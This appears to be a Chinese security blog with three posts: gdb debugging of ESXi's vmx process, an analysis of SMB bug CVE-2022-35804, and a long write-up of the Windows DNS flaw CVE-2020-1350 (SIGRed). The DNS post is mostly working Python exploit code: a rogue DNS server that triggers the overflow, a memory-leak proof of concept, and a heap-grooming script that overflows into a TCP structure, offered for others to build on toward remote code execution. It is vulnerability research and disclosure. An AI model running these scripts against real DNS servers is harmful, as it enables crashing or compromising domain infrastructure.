[root@plato]# cat /proc/fortune
Success is an individual proposition.  Thomas Watson
[root@plato]# cat /proc/fortune
If a man does his best, what else is there?  General Patton
[root@plato]#

在ESXi中调试运行虚拟机的vmx程序(How to debug vmx in ESXi)

2023-02-22T11:54:44.181Z

ESXi自带一个子linux系统, 虽然能实现一部分功能, 但是目前为止, 依然没有公开的教程说过如何调试vmx进程, 本篇教程将分享我的研究成果, 帮助大家轻松调试虚拟机进程.

最简单的方法

首先, ESXi 自带一个gdbserver, 所以最简单的方法就是直接跑起程序, 再用gdbserver attach它. (最好用老一点的gdb, 比如gdb 7.8)

跑起虚拟机, 查看vmx对应的进程id

[root@192:~] ps|grep vmx
70639  70639  vmx
70643  70639  vmx-vthread-706
70644  70639  vmx-filtPoll:c7
70645  70639  vmx-mks:c7
70646  70639  vmx-svga:c7
70647  70639  vmx-vcpu-0:c7

gdbserver attach 上去

[root@192:~] gdbserver --attach :8808 70639
Attached; pid = 70639
!gdb_connected()
!gdb_connected()
!gdb_connected()
!gdb_connected()

[root@192:~] gdbserver --attach :8808 70639
Attached; pid = 70639
!gdb_connected()
Listening on port 8808

一定要保证出现Listening on port, 不然 ctrl+c 中断, 再重试就好, 目标进程不受影响.

找一台可以使用gdb的机器, 把ESXi中的vmx文件拷贝到机器中, 然后使用如下命令连接

[root@192 vv]# gdb -q
gdb$ file Desktop/vmx-7.0-15843807.elf 
Reading symbols from /home/vv/Desktop/vmx-7.0-15843807.elf...Missing separate debuginfo for /home/vv/Desktop/vmx-7.0-15843807.elf
(no debugging symbols found)...done.
gdb$ target remote 192.168.170.240:8808
Remote debugging using 192.168.170.240:8808
=> 0x8ce2771248 <__libc_ifunc_impl_list+3304>:cmp    rax,0xfffffffffffff000
   0x8ce277124e <__libc_ifunc_impl_list+3310>:ja     0x8ce2771275 <__libc_ifunc_impl_list+3349>

gdb$

这样就可以正常调试了

另一种方法-使用自己编译好的gdb

如果自带的gdbserver 不太好用, 那也可以自己源码静态编译一个gdb版本拷贝过去, 然后直接用.

自己源码编译一个gdb, 或者用我编译好的gdb7.8 no python 拷贝到esxi上

如果要自己编译支持带python的gdb, 先下载python源码. 使用./configure --prefix=/home/vv/python; make; make install 编译安装python到/home/vv/python.
然后下载gdb源码, 安装lzma开发组件yum xz-devel texinfo, 使用./configure --prefix=/home/vv/gdb --enable-static --with-python=/home/vv/Desktop/python --with-lzma;make 编译, 成功后make install 安装. 其它操作参考gdb10.2里给出的脚本.

如果想编译11.0之后的gdb, 需要做一下修改, 修改如下:

enum target_xfer_status
linux_nat_target::xfer_partial (enum target_object object,
const char *annex, gdb_byte *readbuf,
const gdb_byte *writebuf,
ULONGEST offset, ULONGEST len, ULONGEST *xfered_len)
{
  ...
  if (object == TARGET_OBJECT_MEMORY)
    {
      ...
-      return linux_proc_xfer_memory_partial (readbuf, writebuf,
-     offset, len, xfered_len);
+       enum target_xfer_status ret = linux_proc_xfer_memory_partial (readbuf, writebuf,
+     offset, len, xfered_len);
+      if(ret == TARGET_XFER_OK){return ret;}
    }

  return inf_ptrace_target::xfer_partial (object, annex, readbuf, writebuf,
  offset, len, xfered_len);
}

在11.0之后的版本读取目标进程内存时, 默认从/proc/pid/mem读取, 而esxi上是没有这个文件的, 所以, 除非修改它的实现, 否则之后的版本不适合在esxi上用.
最好还是用7.8的版本, 否则容易有奇奇怪怪的问题

运行起虚拟机
运行gdb, 一般会告诉你缺失libtinfo.so.5文件或者libncurses.so.5, 最简单的方法就是创建一个软链接, 把它自带的一个文件软链接成缺失的文件.
1
[root@192:~] ln -s /lib64/libncurses.so.5 /lib64/libtinfo.so.5
或者从centos 7 3.10内核的系统中拷贝一个过去放在lib64目录下.

使用gdb调试

1
2
3

gdb$ file /bin/vmx
gdb$ set architecture i386:x86-64:intel
gdb$ attach xxxxx

以下是编译的带python 2.7 的gdb7.8的分块包(因为github最大支持25M), 可以通过cat gdb78_p.tar.xz.* > gdb10.2.tar.xz 合并他们

gdb78_p.tar.xz.s0

gdb78_p.tar.xz.s1

gdb78_p.tar.xz.s2

注意事项

如果发现ctrl+c不好使, 那么就把虚拟机的cpu个数设置为1. 如果还是不好使, 建议重新选个guest安装测试.

其他

以下命令发表调试vmx

apid=`ps|grep -m 1 "vmx"|cut -d " " -f 1`;gdb -ex "file /bin/vmx" -ex "handle SIGPIPE nostop noprint pass" -ex "attach $apid" -ex "shell echo \"set \\\$vmx=0x\$(cat /proc/\$(ps|grep -m 1 vmx|cut -d ' ' -f 1)/maps|grep -m 1 vmx|cut -d '-' -f 1)\">/tmp/cmd" -ex "shell echo \"set \\\$stk=0x\$(cat /proc/\$(ps|grep -m 1 vmx|cut -d ' ' -f 1)/maps|grep -m 1 stack|cut -d '-' -f 1)\">>/tmp/cmd" -ex "source /tmp/cmd" -ex "shell rm  /tmp/cmd"

Windows DNS server从cve-2020-1350到内存泄露

2023-02-22T11:54:44.181Z

7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T.

原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….)

CVE-2020-1350漏洞成因

溢出点在行19, 其中rest_size最大值可以是0xffff-29-namelen(举例, 对于网址v-v.space, 其namelen 为”\x03v-v\x05space\x00”的长度, 即11). 函数Name_PacketNameToCountNameEx读取的最大长度为0xff, 而RR_AllocateEx接受的第一个参数类型是u16类型, 从而在特殊情况下导致了整数溢出.

poc构造思路

虽然知道需要一个ns中转记录, 但是不太会配置dns服务器, 花了一天才弄明白中转的设置.

服务器管理器->工具->选择DNS->打开DNS管理器
打开转发器配置界面，配置伪DNS服务器IP地址

此处的ip就是我们需要发送poc的伪服务器地址.

通过发现者发表的文章SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers中的这个图片

可以知道, 触发路径是Tcp_Receiver -> Answer_ProcessMessage -> Recurse_ProcessResponse -> Recurse_CacheMessageResourceRecords -> Wire_CreateRecordFromWire -> SigWireRead.

通过文章内容我们知道, 大意就是让这个dns server 向另一个dns server(记作X)发起请求, 然后 X 回了一个要求用tcp请求连接的回执(因为默认dns查询用的udp), 然后dns server 再次用tcp 向 X 发起请求, X 回了一个包, 就能走到这个路径.

那么首先需要构造一个强制要求tcp的回执, 这里我直接dump了wireshark的一个正常查询v-v.space的回执包, 然后设置回执flag为tcp:

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def udp_handler():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind(('0.0.0.0', 53))
    while True:
        data, addr = s.recvfrom(2048)
        print "received:", data.encode('hex'), "from", addr
        ba = bytearray()
        ba.extend(map(ord, data+resp))
        ba[2] = 0x86 # 设置flags
        ba[7] = 1 # 设置PR为1个
        data = bytes(ba)
        l = s.sendto(data, addr)
        print "sent", hex(l), hex(len(data))
        print '-++++++++++++++++++++++\n'
    s.close()
    print 'close udp'
    
def tcp_handler():
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(('0.0.0.0',53))
    server.listen(5)
    while True:
        conn,addr = server.accept()
        print addr
        data = conn.recv(1024)
        ...
        conn.send(new_data)

之后, 向目标发起9999.v-v.space的dns请求:

import dns.message, dns.query
import thread

def doer():
    m = dns.message.from_wire("\xce\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01") # 
    mr = dns.query.udp(m, '192.168.170.134') # here is the target dns server.

doer()

得到如下交互流程:

从交互流程可以看到, 我向192.168.170.134请求了一个dns, 它将请求转到192.168.170.1的dns服务器, 服务器回执了一个带truncated的flag的答复, 然后134用tcp连接到192.168.170.1, 重新发起请求. 这时候我可以回任意的回执.

接下来在函数Recurse_CacheMessageResourceRecords内下断点, 可以看到它a1+0xE06开始, 是我给回执. 至于为什么是+0xe06位置, 可以在函数Tcp_Receiver -> Tcp_ReceiveMessage的recv调用找到.

接下来就是枯燥的逆向Recurse_CacheMessageResourceRecords函数的流程. 此处我不会再讲怎么逆向, 只说一下大致的执行流程. dns有4个类型的请求, questions, answer, authority, additional. 函数按顺序从dns头获取该类型的个数, 然后执行相应的处理.

当处理到answer类型, 且type为46或者24时, 就能进入到Wire_CreateRecordFromWire函数.

所以完整type46的poc如下:

# -*- coding: UTF-8
import socket
from impacket.structure import Structure
import dns.message, dns.query
import threading
import struct

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def getNameLen(data):
    s = 0
    o = 14
    l=ord(data[o:o+1])
    while l:
        s += l+1
        print l
        o += 1+l
        l = ord(data[o:o+1])
    return s+1

def tcp_handler():
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(('0.0.0.0',53))
    server.listen(5)
    while True:
        conn,addr = server.accept()
        print(conn,addr)
        while True:
                data = conn.recv(1024)
                if not data:
                    continue
                # print 'recive:',data.encode('hex')
                ba = bytearray()
                poison = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\xcc'+'a'*18+'\xc0\x0d'+'\x00'*0xffff
                data = data[:18+getNameLen(data)]+poison
                ba.extend(map(ord, data[:0xffff+2]))
                ba[0] = struct.pack('>H', 0xffff)[0]
                ba[1] = struct.pack('>H', 0xffff)[1]
                # flags
                ba[4] = 0x84
                ba[5] = 0
                # answer PRs
                ba[8] = 0
                ba[9] = 1
                # other prs
                ba[10] = 0
                ba[11] = 0
                ba[12] = 0
                ba[13] = 0

                data = bytes(ba)
                l = conn.send(data)
                print 'sent',hex(l), hex(len(data))
                print '---------------------------\n'
                conn.close()
                break
    print 'tcp recv exit'

def udp_handler():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind(('0.0.0.0', 53))
    while True:
        data, addr = s.recvfrom(2048)
        print "received:", data.encode('hex'), "from", addr
        ba = bytearray()
        ba.extend(map(ord, data+resp))
        ba[2] = 0x86
        ba[7] = 1
        data = bytes(ba)
        l = s.sendto(data, addr)
        print "sent", hex(l), hex(len(data))
        print '-++++++++++++++++++++++\n'
    s.close()
    print 'close udp'


import thread
thread.start_new_thread(udp_handler,())
thread.start_new_thread(tcp_handler,())


raw_input('>')

type 24的可以参见CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit

内存泄露

内存泄露就很简单了, 在函数Recurse_CacheMessageResourceRecords的循环处理函数Wire_CreateRecordFromWire返回值的时候, 如果在处理下一个answer时中途出现错误, 会直接跳出循环. 虽然它保存了所有的内存指针, 但是并没有调用free操作把所有指针释放掉, 导致最后内存指针丢失, 造成内存泄露. 最后微软给的cve是 CVE-2020-1228 .

以下是内存泄露的poc

# -*- coding: UTF-8
import socket
from impacket.structure import Structure
import dns.message, dns.query
import threading
import struct
import time

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def getNameLen(data):
    s = 0
    o = 14
    l=ord(data[o:o+1])
    while l:
        s += l+1
        print l
        o += 1+l
        l = ord(data[o:o+1])
    return s+1

def get_alloc_max_spray(n, n_answer):
    if n > 0x7f7:
        raise "number is too big"
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\xe0'+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
    p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0d'
    n_answer[0] = n+1
    return p0+p1*(n-1)

def get_alloc_max_and_free(n, n_answer):
    n_answer[0] = (n+0x100)/8
    if n > 0x10047:
        raise "number is too large"
    size = 0xff&(n-0x48-0x3b)
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff
    return p0

def tcp_handler():
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(('0.0.0.0',53))
    server.listen(5)

    # totalSize = 0
    # size = totalSize-0x48-0
    n_answer = [0, 0]
    funcs = [
        get_alloc_max_spray
    ]
    steps = [
        (0x2ab0*4, funcs[0], 3),
    ]
    step = 0
    step_i = 0
    while True:
        conn,addr = server.accept()
        print addr
        while True:
                data = conn.recv(1024)
                if not data:
                    continue

                print 'step:',step,'step_i', step_i

                ba = bytearray()
                data = data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer)
                ba.extend(map(ord, data))
                ba[0] = struct.pack('>H', len(data)-2)[0]
                ba[1] = struct.pack('>H', len(data)-2)[1]
                # flags
                ba[4] = 0x84
                ba[5] = 0
                # answer PRs
                ba[8] = n_answer[0]>>8
                ba[9] = n_answer[0]&0xff
                # other prs
                ba[10] = n_answer[1]>>8
                ba[11] = n_answer[1]&0xff
                ba[12] = 0
                ba[13] = 0

                data = bytes(ba)
                if step == 4:
                    thread.start_new_thread(sendAQuery,())
                    time.sleep(0.001)
                l = conn.send(data)
                print 'sent',hex(l), hex(len(data))
                print '---------------------------\n'
                conn.close()
                step_i += 1
                if steps[step][0] == step_i:
                    step += 1
                    step_i = 0
                break
    print 'tcp recv exit'

def udp_handler():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind(('0.0.0.0', 53))
    while True:
        data, addr = s.recvfrom(2048)
        print "received:", data.encode('hex'), "from", addr
        ba = bytearray()
        ba.extend(map(ord, data+resp))
        ba[2] = 0x86
        ba[7] = 1
        data = bytes(ba)
        l = s.sendto(data, addr)
        print "sent", hex(l), hex(len(data))
        print '-++++++++++++++++++++++\n'
    s.close()
    print 'close udp'


import thread
thread.start_new_thread(udp_handler,())
thread.start_new_thread(tcp_handler,())


raw_input('>')

cve-2020-1350的利用思路分析

通过分析它的堆分配函数Mem_Alloc可以知道, 当请求的size超过0xa0时会分配传统heap, 否则从它自定义的大堆内选一个被切出来的小块作为结果返回. 而在函数Recurse_CacheMessageResourceRecords内, 它把函数Wire_CreateRecordFromWire返回的heap通过单项链表串联了起来, +0位置指示了下一个结构体的指针.

利用内存泄露bug, 就可以实现完美的内存布局. 而dns内部, 某些size对应的堆并没有被激活lfh, 所以可以和普通的大堆挨在一起.

tcp主结构体溢出思路

申请非常多0x10000这种大内存, 耗尽空隙
利用records申请一个0x10000+0x100的内存, 再申请个0x10000的内存(记作T), 那么这两个内存就会挨着. 在处理结束后, 就会留下一个0x100120的洞
申请一个0x10000的内存, 就会切下一个0x110的洞
申请一个tcp的query请求, 再申请一个0x100的内存来溢出, 由于它内部一些机制, 最后会把当前tcp的大块0x101f4申请到 T内存之后, 从而可以溢出到tcp的主结构体

我最后并没有在windows server 2019上找到合适的泄露信息组件, 导致没办法完成利用. 精力有限, 便没有继续深入分析. 希望有兴趣的人可以基于此作更长远的利用.

下面是一个溢出的示例:

# -*- coding: UTF-8
import socket
from impacket.structure import Structure
import dns.message, dns.query
import threading
import struct
import time

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def sendAQuery():
    m = dns.message.from_wire("\xcc\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01")
    mr = dns.query.tcp(m, '192.168.170.140')
    print "send query"


def getNameLen(data):
    s = 0
    o = 14
    l=ord(data[o:o+1])
    while l:
        s += l+1
        print l
        o += 1+l
        l = ord(data[o:o+1])
    return s+1

def get_alloc_1_c0h_and_ow_c0h(n, n_answer):
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'a'*18+'\xc0\x0d'+'a'*7+'\x10'+'\x39'+'a'*0xf+'\x00' # len 79h
    p1 = '\xc0\x0c\x00\x2e\x00\x01\x5c\xf5\x00\xec'+'\xff\x7a'+'a'*18+'\xc0\x0e'+'a'*9+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' # 87h
    n_answer[0] = 2
    return p0+p1+'\xcc'*0xff00

def get_alloc_ow_size(size, n_answer):
    n_answer[0] = size/8-2
    if size > (0xd1+0x48):
        raise 'size is too big'

    n = 0xff & ((0x10000|(size-0x48))-0xff)
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
    fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10)
    padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20)
    fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10)
    print 'padsize:%x,fake_num:%x'%(padsize, fake_num)
    return p0+'b'*padsize+fake_header*fake_num

def get_alloc_ow_size_without_records(size, n_answer):
    n_answer[0] = 2
    if size > (0xd1+0x48):
        raise 'size is too big'

    n = 0xff & ((0x10000|(size-0x48))-0xff)
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
    fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10)
    padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20)
    fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10)
    print 'padsize:%x,fake_num:%x'%(padsize, fake_num)
    return p0+'b'*padsize+fake_header*fake_num

def get_alloc_2_A9h_and_ow(n, n_answer):
    n_answer[0] = 3
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00'
    p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'
    p2 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\x62'+'\x00'*10+'\x39'+'\x00'*7+'\xc0\x0f'+'\x00'*0x30+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
    size = 0xb0
    padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p2)-0x20)
    fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'\x00'*(size-0x10)
    fake_num = (0xffff-0x20-len(p0)-len(p1)-len(p2)-padsize)/(size+0x10)
    print 'padsize:%x,fake_num:%x'%(padsize, fake_num)
    return p0+p1+p2+'b'*padsize+fake_header*fake_num

def get_alloc_C0h_many(number, n_answer):
    if number > 0x7fd:
        print "number is too big"
        return None
    # size = (size-0x48-0x3a-0x1c)/2
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x10'+'\x28'+'\x00'*0xf+'\x00'
    p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'
    n_answer[0] = number+1
    return p0+p1*(number-1)

def get_alloc_A9h_many(number, n_answer):
    if number > 0x7fd:
        print "number is too big"
        return None
    # size = (size-0x48-0x3a-0x1c)/2
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00'
    p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'
    n_answer[0] = number+1
    return p0+p1*(number-1)

def get_alloc_max(n, n_answer):
    n_answer[0] = 2
    if n > 0x10047 or n < (0x48+0x3b):
        raise "number is too large or small"
    size = 0xff&(n-0x48-0x3b)
    size_h = (n-0x48-0x3b)>>8
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+chr(size_h)+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff
    return p0

def get_alloc_max_and_free(n, n_answer):
    n_answer[0] = (n+0x100)/8
    if n > 0x10047:
        raise "number is too large"
    size = 0xff&(n-0x48-0x3b)
    p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff
    return p0

def tcp_handler():
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(('0.0.0.0',53))
    server.listen(5)

    # totalSize = 0
    # size = totalSize-0x48-0
    n_answer = [0]
    funcs = [
        get_alloc_A9h_many, 
        get_alloc_ow_size, 
        get_alloc_max, 
        get_alloc_2_A9h_and_ow, 
        get_alloc_max_and_free, 
        get_alloc_ow_size_without_records
    ]
    steps = [
        (3, funcs[0], 0x700),
        # (1, funcs[0], 0x80),
        (0x80, funcs[2], 0x10000),
        (1, funcs[4], 0x10000),
        (1, funcs[2], 0x10000),
        (1, funcs[5], 0x100)
    ]
    step = 0
    step_i = 0
    while True:
        conn,addr = server.accept()
        print addr
        while True:
                print 'step:',step,'step_i', step_i

                data = conn.recv(1024)
                if not data:
                    continue
                # print 'recive:',data.encode('hex')
                ba = bytearray()
                 # real size is 0xa8+0x48 = 0x100
                data = '{:\x00<65537}'.format(data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer))
                ba.extend(map(ord, data))
                ba[0] = struct.pack('>H', 0xffff)[0]
                ba[1] = struct.pack('>H', 0xffff)[1]
                # flags
                ba[4] = 0x84
                ba[5] = 0
                # answer PRs
                ba[8] = n_answer[0]>>8
                ba[9] = n_answer[0]&0xff
                # other prs
                ba[10] = 0
                ba[11] = 0
                ba[12] = 0
                ba[13] = 0

                data = bytes(ba)
                if step == 4:
                    thread.start_new_thread(sendAQuery,())
                    time.sleep(0.001)
                l = conn.send(data)
                print 'sent',hex(l), hex(len(data))
                print '---------------------------\n'
                conn.close()
                step_i += 1
                if steps[step][0] == step_i:
                    step += 1
                    step_i = 0
                break
    print 'tcp recv exit'

def udp_handler():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind(('0.0.0.0', 53))
    while True:
        data, addr = s.recvfrom(2048)
        print "received:", data.encode('hex'), "from", addr
        ba = bytearray()
        ba.extend(map(ord, data+resp))
        ba[2] = 0x86
        ba[7] = 1
        data = bytes(ba)
        l = s.sendto(data, addr)
        print "sent", hex(l), hex(len(data))
        print '-++++++++++++++++++++++\n'
    s.close()
    print 'close udp'


import thread
thread.start_new_thread(udp_handler,())
thread.start_new_thread(tcp_handler,())


raw_input('>')

其它

以下是溢出的长度计算方式:

注意: 以上所有poc的溢出参数和域名长度以及’9999’密切相关, 如果要修改, 注意更改相应的参数.

SMB RCE CVE-2022-35804的介绍

2023-02-22T11:54:44.165Z

2022年8月更新中出现了SMB的RCE, 微软介绍说对于server端是认证后的, 所以应该不会是历史漏洞重新出现的问题, 毕竟曾经也分析过一阵子SMB, 出现了新鲜漏洞还是需要分析分析的, 以下是一个简单的分析介绍

Bug

首先官方介绍是压缩相关的bug, 对比srv2.sys和srvnet.sys后, 发现srvnet.sys的SmbCompressionDecompress有改动, 所以大概率是它了.

以下是相关改动:

从图中看到, 改动其实很小, 就改了最后一个传入参数.

查看MSDN对于该函数的说明:

NT_RTL_COMPRESS_API NTSTATUS RtlDecompressBufferEx2(
  [in]           USHORT CompressionFormat,
  [out]          PUCHAR UncompressedBuffer,
  [in]           ULONG  UncompressedBufferSize,
  [in]           PUCHAR CompressedBuffer,
  [in]           ULONG  CompressedBufferSize,
  [in]           ULONG  UncompressedChunkSize,
  [out]          PULONG FinalUncompressedSize,
  [in, optional] PVOID  WorkSpace
);

[in, optional] WorkSpace

A pointer to a caller-allocated work space buffer used by the RtlDecompressBufferEx2 function during decompression. Use the RtlGetCompressionWorkSpaceSize function to determine the correct work space buffer size.

所以可以了解到, workspace理应是caller申请的一块内存.

一般来说, 应该是如下的形式调用:

if(NT_SUCCESS(RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize)))
{
if(WorkSpace = LocalAlloc(LPTR, CompressBufferWorkSpaceSize))
{
            status = NT_SUCCESS(RtlDecompressBufferEx2(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, (PUCHAR) data, size, (PUCHAR) (*compressedData), size, 4096, compressedSize, WorkSpace));
LocalFree(WorkSpace);
}
}

先调用RtlGetCompressionWorkSpaceSize获取需要的workspace的size, 然后申请对应大小的内存, 之后再调用解压缩函数.

接下来, 我们看看P到底是个什么东西.
在SmbCompressionInitialize函数内, 它初始化了全局变量P:

CompressionWorkSpaceSize = RtlGetCompressionWorkSpaceSize(
                             2u,
                             &CompressBufferWorkSpaceSize,
                             &CompressFragmentWorkSpaceSize);
if ( CompressionWorkSpaceSize < 0 )
  goto LABEL_12;
v1 = 0;
if ( CompressBufferWorkSpaceSize )
  v1 = CompressBufferWorkSpaceSize;
CompressionWorkSpaceSize = RtlGetCompressionWorkSpaceSize(
                             3u,
                             &CompressBufferWorkSpaceSize,
                             &CompressFragmentWorkSpaceSize);
if ( CompressionWorkSpaceSize < 0 )
  goto LABEL_12;
if ( CompressBufferWorkSpaceSize > v1 )
  v1 = CompressBufferWorkSpaceSize;
CompressionWorkSpaceSize = RtlGetCompressionWorkSpaceSize(
                             4u,
                             &CompressBufferWorkSpaceSize,
                             &CompressFragmentWorkSpaceSize);
if ( CompressionWorkSpaceSize < 0 )
  goto LABEL_12;
if ( CompressBufferWorkSpaceSize > v1 )
  v1 = CompressBufferWorkSpaceSize;
P = (PVOID)PplCreateLookasideList(0, 0, v1, 0x2532534Cu, v3, 0x2532534Cu);

可以看到, 它应该是放入了3种压缩类型所需要的size中最大的那一个到lookaside list里, P就是指向lookaside list结构体的指针. 可见它并不是RtlDecompressBufferEx2想要的workspace结构体.

正常情况下, 在第一个图的修补后的第58行, 它会调用P的allocate函数, 去申请最大的那个size的workspace.

然而, 由于程序员手抖, 不小心传入了P, 导致了类型混淆, 从而造成了对P的写入问题.

History

在windows 10 1909的代码中, SmbCompressionDecompress是这样实现的:

if ( RtlGetCompressionWorkSpaceSize(v13, &CompressBufferWorkSpaceSize, (PULONG)CompressFragmentWorkSpaceSize) < 0
  || (PoolWithTag = ExAllocatePoolWithTag((POOL_TYPE)512, CompressBufferWorkSpaceSize, 0x2532534Cu)) != 0i64 )
{
  v10 = RtlDecompressBufferEx2(v13, a4, (unsigned int)a5, a2, a3, 0, a6, PoolWithTag);
  if ( PoolWithTag )
    ExFreePoolWithTag(PoolWithTag, 0x2532534Cu);

可见没有任何问题, 在windows 10 2004里, 开始变了模样, 但是参数传递是修补后的样子. 之前保存过windows 20211(发布于2020年9月)的srvnet.sys文件, 发现它是传递了P, 所以可以看到, 这个bug应该某个开发版引入的, 一直延续到了windows 11.

